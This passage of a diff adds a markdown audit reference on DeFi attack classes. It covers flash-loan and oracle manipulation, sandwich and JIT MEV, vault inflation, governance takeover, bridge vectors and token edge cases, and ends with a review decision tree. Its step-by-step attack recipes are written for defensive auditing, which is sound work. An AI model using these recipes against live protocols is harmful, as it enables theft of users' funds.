+ 6. Keep borrowed WETH from Lending_Protocol minus collateral cost
43
+ ```
44
+
45
+ **Key insight**: protocols using AMM spot reserves (`getReserves()`) as price oracles are vulnerable. Must use TWAP or external oracle (Chainlink).
46
+
47
+ ### 1.3 Liquidity Pool Drain via Reentrancy
48
+
49
+ Flash borrow → deposit into pool → trigger reentrancy during callback → withdraw more than deposited → repay loan.
50
+
51
+ Exploits the combination of flash loan capital with reentrancy in pool accounting logic.
52
+
53
+ ### 1.4 Governance Flash Borrow
54
+
55
+ ```
56
+ 1. Flash borrow governance tokens
57
+ 2. Create/vote on malicious proposal (if no snapshot or timelock)
58
+ 3. Proposal passes instantly
59
+ 4. Execute proposal (drain treasury, change admin, etc.)
60
+ 5. Return governance tokens
61
+ ```
62
+
63
+ Defense: snapshot-based voting (Compound Governor Bravo), timelocks, minimum proposal period.
64
+
65
+ ---
66
+
67
+ ## 2. PRICE ORACLE MANIPULATION
68
+
69
+ ### 2.1 Spot Price vs TWAP
70
+
71
+ | Oracle Type | Manipulation Cost | Time Window |
72
+ |---|---|---|
73
+ | Spot price (`getReserves()`) | Single large swap (flash loanable) | Same transaction |
74
+ | TWAP (Time-Weighted Average) | Sustained multi-block manipulation | Multiple blocks (expensive) |
75
+ | Chainlink aggregator | Compromise ≥ majority of oracle nodes | Practically infeasible |
76
+
77
+ ### 2.2 AMM Manipulation Flow
78
+
79
+ ```
80
+ Normal state: Pool has 1000 ETH + 1,000,000 USDC → price = 1000 USDC/ETH
81
+
82
+ Attack:
83
+ ├── Swap 9000 ETH into pool
84
+ │ Pool now: 10000 ETH + 100,000 USDC (constant product)
85
+ │ Spot price: 10 USDC/ETH (crashed 100x)
86
+ ├── Dependent contract reads this price
87
+ │ → Liquidates positions at wrong price
88
+ │ → Or allows cheap borrowing against ETH collateral
89
+ ├── Swap back: buy ETH with USDC
90
+ │ Price restores to ~1000 USDC/ETH
91
+ └── Net profit = value extracted from dependent contract - swap slippage - fees
92
+ ```
93
+
94
+ ### 2.3 Chainlink Oracle Staleness
95
+
96
+ ```solidity
97
+ (, int price, , uint updatedAt, ) = priceFeed.latestRoundData();
98
+ // Missing checks:
99
+ // 1. price > 0
100
+ // 2. updatedAt != 0
101
+ // 3. block.timestamp - updatedAt < HEARTBEAT
102
+ // 4. answeredInRound >= roundId
103
+ ```
104
+
105
+ If oracle is stale (network congestion, L2 sequencer down), price can be hours old → arbitrage against stale price.
106
+
107
+ **L2 Sequencer Risk**: If Arbitrum/Optimism sequencer is down, Chainlink prices freeze. When it comes back, prices jump → mass liquidations at wrong prices.
108
+
109
+ ---
110
+
111
+ ## 3. MEV (MAXIMAL EXTRACTABLE VALUE)
112
+
113
+ ### 3.1 Sandwich Attack
114
+
115
+ ```
116
+ Mempool observation: victim submits swap TOKEN_A → TOKEN_B with slippage 1%
117
+
118
+ Front-run: Buy TOKEN_B (increase price)
119
+ Victim tx: Swap executes at worse price (within slippage tolerance)
120
+ Back-run: Sell TOKEN_B (profit from price impact)
121
+
122
+ Profit = victim's price impact - gas costs × 2
123
+ ```
124
+
125
+ ### 3.2 JIT (Just-In-Time) Liquidity
126
+
127
+ ```
128
+ 1. Observe large pending swap in mempool
129
+ 2. Provide concentrated liquidity in the exact price range (Uniswap V3 tick)
130
+ 3. Victim's swap executes → JIT LP earns majority of fees
131
+ 4. Remove liquidity immediately after swap
132
+ 5. Profit = fee earned - gas - impermanent loss (minimal for single block)
133
+ ```
134
+
135
+ ### 3.3 Liquidation MEV
136
+
137
+ ```
138
+ 1. Monitor lending protocols for positions approaching liquidation threshold
139
+ 2. When price oracle updates → position becomes liquidatable
140
+ 3. Front-run other liquidators → execute liquidation
141
+ 4. Receive liquidation bonus (typically 5-15% of collateral)
142
+ 5. Sell collateral for profit
143
+ ```
144
+
145
+ ### 3.4 MEV Protection Mechanisms
146
+
147
+ | Mechanism | How It Works |
148
+ |---|---|
149
+ | Flashbots Protect | Sends tx to private mempool; only block builder sees it |
150
+ | MEV Blocker | RPC endpoint that routes through MEV-aware relayers |
151
+ | Cow Protocol (batch auction) | Batch matching eliminates ordering advantage |
152
+ | Encrypted mempools | Threshold encryption; decrypt only at block build time |
153
+ | MEV-Share | User captures portion of MEV extracted from their tx |
154
+
155
+ ---
156
+
157
+ ## 4. PRECISION LOSS EXPLOITATION
158
+
159
+ ### 4.1 Rounding Errors in Token Calculations
160
+
161
+ Solidity has no floating point. Integer division truncates:
162
+
163
+ ```
164
+ shares = depositAmount * totalShares / totalAssets
165
+ ```
166
+
167
+ If `totalAssets` is very large relative to `depositAmount * totalShares`, result rounds to 0 → depositor gets no shares but pool keeps the deposit.
168
+
169
+ ### 4.2 First Depositor / Vault Inflation Attack
170
+
171
+ ```
172
+ 1. Attacker deposits 1 wei → receives 1 share
173
+ 2. Attacker donates 1,000,000 tokens directly to vault (not via deposit)
174
+ 3. Vault state: 1,000,001 tokens, 1 share
175
+ 4. Victim deposits 999,999 tokens:
176
+ shares = 999,999 * 1 / 1,000,001 = 0 (integer truncation)
177
+ 5. Victim gets 0 shares; attacker owns 100% of vault (now 2,000,000 tokens)
178
+ 6. Attacker withdraws all
179
+ ```
180
+
181
+ **Defenses:**
182
+ - Mint dead shares on first deposit (OpenZeppelin ERC4626 offset)
183
+ - Require minimum initial deposit
184
+ - Internal accounting with virtual offset
185
+
186
+ ### 4.3 Dust Attack via Precision Truncation
187
+
188
+ Repeated small operations where each truncation loses 1 wei. Accumulate across thousands of operations → material loss.
189
+
190
+ ---
191
+
192
+ ## 5. GOVERNANCE ATTACKS
193
+
194
+ ### 5.1 Flash Loan Governance
195
+
196
+ Borrow governance tokens → vote → return. Only works if protocol doesn't snapshot balances before voting.
197
+
198
+ ### 5.2 Timelock Bypass
199
+
200
+ | Vector | Method |
201
+ |---|---|
202
+ | Timelock set to 0 | Admin can execute proposals instantly |
203
+ | `emergencyExecute` function | Bypasses timelock for "emergencies" |
204
+ | Guardian/multisig override | Single point of failure |
205
+ | Proposal cancellation by attacker | Front-run with cancel if threshold met |
206
+
207
+ ### 5.3 Quorum Manipulation
208
+
209
+ ```
210
+ Protocol requires 10% quorum (10M tokens out of 100M supply)
211
+ ├── Flash borrow 10M governance tokens
212
+ ├── Create proposal: set admin = attacker
213
+ ├── Vote with borrowed tokens → meets quorum
214
+ ├── If no timelock: execute immediately
215
+ └── Return tokens
216
+ ```
217
+
218
+ ---
219
+
220
+ ## 6. BRIDGE EXPLOITS
221
+
222
+ ### 6.1 Common Bridge Attack Vectors
223
+
224
+ | Vector | Example |
225
+ |---|---|
226
+ | Signature verification bypass | Ronin Bridge ($624M) — compromised 5/9 validators |
227
+ | Message replay | Replay deposit proof on multiple chains |
228
+ | Fake deposit proof | Submit proof for non-existent L1 deposit |
229
+ | Validator collusion | Compromised majority of bridge validators |
230
+ | Smart contract bug | Wormhole ($320M) — uninitialized guardian set |
231
+ | Upgradeable proxy exploit | Attacker gains upgrade authority → swap implementation |
232
+
233
+ ### 6.2 Cross-Chain Message Verification
234
+
235
+ ```
236
+ Secure pattern:
237
+ ├── Source chain: emit event with (destination, amount, nonce, chainId)
238
+ ├── Relayer: submit proof (Merkle proof of event inclusion)
239
+ ├── Destination chain: verify proof against known source block header
240
+ │ ├── Check nonce not replayed
241
+ │ ├── Check chainId matches
242
+ │ ├── Verify Merkle proof against trusted root
243
+ │ └── Mint/release tokens
244
+
245
+ Vulnerable pattern:
246
+ ├── Relayer: submit (destination, amount) signed by N-of-M validators
247
+ └── If M is small or keys are compromised → forge signatures
248
+ ```
249
+
250
+ ---
251
+
252
+ ## 7. TOKEN STANDARD EDGE CASES
253
+
254
+ ### 7.1 ERC-20 Approval Front-Running
255
+
256
+ ```
257
+ 1. Alice approves Bob for 100 tokens
258
+ 2. Alice wants to change approval to 50 tokens
259
+ 3. Bob sees the approval change tx in mempool
260
+ 4. Bob front-runs: transferFrom(Alice, Bob, 100) — uses old approval
261
+ 5. Alice's approval change executes: approval = 50
262
+ 6. Bob calls transferFrom(Alice, Bob, 50) — uses new approval
263
+ 7. Bob extracted 150 tokens instead of 50
264
+ ```
265
+
266
+ Defense: `approve(0)` first, then `approve(newAmount)`. Or use `increaseAllowance/decreaseAllowance`.
267
+
268
+ ### 7.2 ERC-777 Reentrancy via Hooks
269
+
270
+ ERC-777 tokens call `tokensReceived()` hook on the recipient before completing the transfer → classic reentrancy vector.
271
+
272
+ ```
273
+ transfer(attacker, amount)
274
+ ├── _beforeTokenTransfer hook
275
+ ├── Balance update
276
+ ├── tokensReceived() callback to recipient ← reentrancy window
277
+ │ └── attacker re-enters: transfer, swap, deposit, etc.
278
+ └── _afterTokenTransfer hook
279
+ ```
280
+
281
+ ### 7.3 Fee-on-Transfer Tokens
282
+
283
+ Tokens that deduct a fee on each transfer. Protocol receives less than `amount`:
284
+
285
+ ```solidity
286
+ // Vulnerable: assumes received == amount
287
+ token.transferFrom(msg.sender, address(this), amount);
288
+ deposits[msg.sender] += amount; // overcredits by fee amount
289
+
290
+ // Fixed: measure actual balance change
291
+ uint before = token.balanceOf(address(this));
292
+ token.transferFrom(msg.sender, address(this), amount);
293
+ uint received = token.balanceOf(address(this)) - before;
294
+ deposits[msg.sender] += received;
295
+ ```
296
+
297
+ ### 7.4 Rebasing Tokens
298
+
299
+ Tokens that automatically adjust balances (e.g., Aave aTokens, stETH). Protocols holding rebasing tokens may have accounting mismatches if they cache balances.
300
+
301
+ ---
302
+
303
+ ## 8. NOTABLE DEFI EXPLOITS REFERENCE
304
+
305
+ | Exploit | Date | Loss | Primary Vector |
306
+ |---|---|---|---|
307
+ | Ronin Bridge | Mar 2022 | $624M | Compromised validator keys |
308
+ | Wormhole | Feb 2022 | $320M | Signature verification bug |
309
+ | Beanstalk | Apr 2022 | $182M | Flash loan governance |
310
+ | Mango Markets | Oct 2022 | $114M | Oracle manipulation |
311
+ | Euler Finance | Mar 2023 | $197M | Donation attack + liquidation logic |
312
+ | Curve (reentrancy) | Jul 2023 | $73M | Vyper compiler reentrancy bug |
313
+
314
+ ---
315
+
316
+ ## 9. DECISION TREE
317
+
318
+ ```
319
+ Analyzing a DeFi protocol?
320
+ ├── Does it use price oracles?
321
+ │ ├── Spot price (AMM reserves)? → Flash loan manipulation (Section 1.2)
322
+ │ │ └── Can oracle be manipulated in single tx? → HIGH RISK
323
+ │ ├── TWAP? → Multi-block manipulation needed → MEDIUM RISK
324
+ │ ├── Chainlink? → Check staleness handling (Section 2.3)
325
+ │ │ ├── Heartbeat check present? → OK
326
+ │ │ └── L2? → Check sequencer uptime oracle
327
+ │ └── Multiple oracles with fallback? → Evaluate each
328
+ ├── Does it accept external tokens?
329
+ │ ├── Yes → Check fee-on-transfer handling (Section 7.3)
330
+ │ ├── ERC-777 tokens accepted? → Reentrancy via hooks (Section 7.2)
331
+ │ └── Rebasing tokens? → Accounting mismatch (Section 7.4)
332
+ ├── Does it have governance?
333
+ │ ├── Yes → Flash loan governance possible? (Section 5.1)
334
+ │ │ ├── Snapshot-based voting? → Safer
335
+ │ │ └── Live balance voting? → Flash borrow attack
336
+ │ ├── Timelock present? → Check for bypass (Section 5.2)
337
+ │ └── Quorum threshold vs flash-loanable supply? (Section 5.3)
338
+ ├── Is it a vault / yield aggregator?
339
+ │ ├── Yes → First depositor attack (Section 4.2)
340
+ │ │ └── Virtual offset or dead shares? → Mitigated
341
+ │ └── Precision loss in share calculation? (Section 4.1)
342
+ ├── Is it a bridge?
343
+ │ ├── Yes → Load bridge vectors (Section 6)
344
+ │ │ ├── Validator set size and key management?
345
+ │ │ ├── Replay protection (nonce + chainId)?
346
+ │ │ └── Upgradeable? → Who holds upgrade key?
347
+ │ └── No → Continue
348
+ ├── User-facing swap functionality?
349
+ │ ├── Yes → MEV exposure (Section 3)
350
+ │ │ ├── Slippage protection enforced?
351
+ │ │ └── Private mempool integration?
352
+ │ └── No → Continue
353
+ └── Load [smart-contract-vulnerabilities](../smart-contract-vulnerabilities/SKILL.md)
354
+ for underlying Solidity-level bugs
355
+ ```